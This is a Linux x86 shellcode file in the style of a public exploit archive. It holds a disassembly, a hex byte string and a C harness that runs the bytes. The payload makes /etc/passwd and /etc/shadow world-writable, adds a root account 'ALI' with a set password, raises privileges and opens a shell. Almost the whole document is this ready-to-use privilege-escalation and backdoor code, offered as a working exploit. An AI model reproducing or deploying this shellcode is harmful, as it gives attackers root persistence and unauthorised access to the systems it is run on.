/*# Exploit Title: Shellcode Linux x86 chmod(777 /etc/passwd and /etc/shadow) && (Add new root user [ALI] with password [ALI] for ssh) && Execute /bin/sh
# Date: 4/8/2014
# Exploit Author: Ali Razmjoo
# Tested on: kali-linux-1.0.4-i386 [3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux ]
*/
/*
Ali Razmjoo , Ali.Razmjoo1994@Gmail.Com
Shellcode Linux x86 chmod(777 /etc/passwd and /etc/shadow) && (Add new root user [ALI] with password [ALI] for ssh) && Setreuid() , Execute /bin/sh
length: 378 bytes
chmod('/etc/passwd',777)
chmod('/etc/shadow',777)
open passwd , and write new root user with passwrd ( user: ALI pass: ALI ) , close passwd
setreuid() , execve('/bin/sh')
00000000 <_start>:
0: 31 c0 xor %eax,%eax
2: 31 db xor %ebx,%ebx
4: 6a 0f push $0xf
6: 58 pop %eax
7: 68 6a 73 77 64 push $0x6477736a
c: 5b pop %ebx
d: c1 eb 08 shr $0x8,%ebx
10: 53 push %ebx
11: 68 2f 70 61 73 push $0x7361702f
16: 68 2f 65 74 63 push $0x6374652f
1b: 89 e3 mov %esp,%ebx
1d: 68 41 41 ff 01 push $0x1ff4141
22: 59 pop %ecx
23: c1 e9 08 shr $0x8,%ecx
26: c1 e9 08 shr $0x8,%ecx
29: cd 80 int $0x80
2b: 6a 0f push $0xf
2d: 58 pop %eax
2e: 68 6a 64 6f 77 push $0x776f646a
33: 5b pop %ebx
34: c1 eb 08 shr $0x8,%ebx
37: 53 push %ebx
38: 68 2f 73 68 61 push $0x6168732f
3d: 68 2f 65 74 63 push $0x6374652f
42: 89 e3 mov %esp,%ebx
44: 68 41 41 ff 01 push $0x1ff4141
49: 59 pop %ecx
4a: c1 e9 08 shr $0x8,%ecx
4d: c1 e9 08 shr $0x8,%ecx
50: cd 80 int $0x80
52: 6a 05 push $0x5
54: 58 pop %eax
55: 68 41 73 77 64 push $0x64777341
5a: 5b pop %ebx
5b: c1 eb 08 shr $0x8,%ebx
5e: 53 push %ebx
5f: 68 2f 70 61 73 push $0x7361702f
64: 68 2f 65 74 63 push $0x6374652f
69: 89 e3 mov %esp,%ebx
6b: 68 41 41 01 04 push $0x4014141
70: 59 pop %ecx
71: c1 e9 08 shr $0x8,%ecx
74: c1 e9 08 shr $0x8,%ecx
77: cd 80 int $0x80
79: 89 c3 mov %eax,%ebx
7b: 6a 04 push $0x4
7d: 58 pop %eax
7e: 68 41 73 68 0a push $0xa687341
83: 59 pop %ecx
84: c1 e9 08 shr $0x8,%ecx
87: 51 push %ecx
88: 68 6e 2f 62 61 push $0x61622f6e
8d: 68 3a 2f 62 69 push $0x69622f3a
92: 68 72 6f 6f 74 push $0x746f6f72
97: 68 4c 49 3a 2f push $0x2f3a494c
9c: 68 3a 30 3a 41 push $0x413a303a
a1: 68 4b 2e 3a 30 push $0x303a2e4b
a6: 68 66 77 55 57 push $0x57557766
ab: 68 68 70 31 50 push $0x50317068
b0: 68 7a 59 65 41 push $0x4165597a
b5: 68 41 61 41 51 push $0x51416141
ba: 68 49 38 75 74 push $0x74753849
bf: 68 50 4d 59 68 push $0x68594d50
c4: 68 54 42 74 7a push $0x7a744254
c9: 68 51 2f 38 54 push $0x54382f51
ce: 68 45 36 6d 67 push $0x676d3645
d3: 68 76 50 2e 73 push $0x732e5076
d8: 68 4e 58 52 37 push $0x3752584e
dd: 68 39 4b 55 48 push $0x48554b39
e2: 68 72 2f 59 42 push $0x42592f72
e7: 68 56 78 4b 47 push $0x474b7856
ec: 68 39 55 66 5a push $0x5a665539
f1: 68 46 56 6a 68 push $0x686a5646
f6: 68 46 63 38 79 push $0x79386346
fb: 68 70 59 6a 71 push $0x716a5970
100: 68 77 69 53 68 push $0x68536977
105: 68 6e 54 67 54 push $0x5467546e
10a: 68 58 4d 69 37 push $0x37694d58
10f: 68 2f 41 6e 24 push $0x246e412f
114: 68 70 55 6e 4d push $0x4d6e5570
119: 68 24 36 24 6a push $0x6a243624
11e: 68 41 4c 49 3a push $0x3a494c41
123: 89 e1 mov %esp,%ecx
125: ba 41 41 41 7f mov $0x7f414141,%edx
12a: c1 ea 08 shr $0x8,%edx
12d: c1 ea 08 shr $0x8,%edx
130: c1 ea 08 shr $0x8,%edx
133: cd 80 int $0x80
135: 31 c0 xor %eax,%eax
137: b0 46 mov $0x46,%al
139: 31 db xor %ebx,%ebx
13b: 31 c9 xor %ecx,%ecx
13d: cd 80 int $0x80
13f: 31 c0 xor %eax,%eax
141: b0 46 mov $0x46,%al
143: 31 db xor %ebx,%ebx
145: 31 c9 xor %ecx,%ecx
147: cd 80 int $0x80
149: 68 59 59 59 59 push $0x59595959
14e: 68 58 58 58 58 push $0x58585858
153: 68 2f 73 68 42 push $0x4268732f
158: 68 2f 62 69 6e push $0x6e69622f
15d: 89 e3 mov %esp,%ebx
15f: 31 c0 xor %eax,%eax
161: 88 43 07 mov %al,0x7(%ebx)
164: 89 5b 08 mov %ebx,0x8(%ebx)
167: 89 43 0c mov %eax,0xc(%ebx)
16a: b0 0b mov $0xb,%al
16c: 8d 4b 08 lea 0x8(%ebx),%ecx
16f: 8d 53 0c lea 0xc(%ebx),%edx
172: cd 80 int $0x80
174: b0 01 mov $0x1,%al
176: b3 01 mov $0x1,%bl
178: cd 80 int $0x80
*/
#include <stdio.h>
#include <string.h>
char sc[] = "\x31\xc0\x31\xdb\x6a\x0f\x58\x68\x6a\x73\x77\x64\x5b\xc1\xeb\x08\x53\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe3\x68\x41\x41\xff\x01\x59\xc1\xe9\x08\xc1\xe9\x08\xcd\x80\x6a\x0f\x58\x68\x6a\x64\x6f\x77\x5b\xc1\xeb\x08\x53\x68\x2f\x73\x68\x61\x68\x2f\x65\x74\x63\x89\xe3\x68\x41\x41\xff\x01\x59\xc1\xe9\x08\xc1\xe9\x08\xcd\x80\x6a\x05\x58\x68\x41\x73\x77\x64\x5b\xc1\xeb\x08\x53\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe3\x68\x41\x41\x01\x04\x59\xc1\xe9\x08\xc1\xe9\x08\xcd\x80\x89\xc3\x6a\x04\x58\x68\x41\x73\x68\x0a\x59\xc1\xe9\x08\x51\x68\x6e\x2f\x62\x61\x68\x3a\x2f\x62\x69\x68\x72\x6f\x6f\x74\x68\x4c\x49\x3a\x2f\x68\x3a\x30\x3a\x41\x68\x4b\x2e\x3a\x30\x68\x66\x77\x55\x57\x68\x68\x70\x31\x50\x68\x7a\x59\x65\x41\x68\x41\x61\x41\x51\x68\x49\x38\x75\x74\x68\x50\x4d\x59\x68\x68\x54\x42\x74\x7a\x68\x51\x2f\x38\x54\x68\x45\x36\x6d\x67\x68\x76\x50\x2e\x73\x68\x4e\x58\x52\x37\x68\x39\x4b\x55\x48\x68\x72\x2f\x59\x42\x68\x56\x78\x4b\x47\x68\x39\x55\x66\x5a\x68\x46\x56\x6a\x68\x68\x46\x63\x38\x79\x68\x70\x59\x6a\x71\x68\x77\x69\x53\x68\x68\x6e\x54\x67\x54\x68\x58\x4d\x69\x37\x68\x2f\x41\x6e\x24\x68\x70\x55\x6e\x4d\x68\x24\x36\x24\x6a\x68\x41\x4c\x49\x3a\x89\xe1\xba\x41\x41\x41\x7f\xc1\xea\x08\xc1\xea\x08\xc1\xea\x08\xcd\x80\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x68\x59\x59\x59\x59\x68\x58\x58\x58\x58\x68\x2f\x73\x68\x42\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xb0\x01\xb3\x01\xcd\x80";
int main(void)
{
fprintf(stdout,"Length: %d\n\n",strlen(sc));
(*(void(*)()) sc)();
}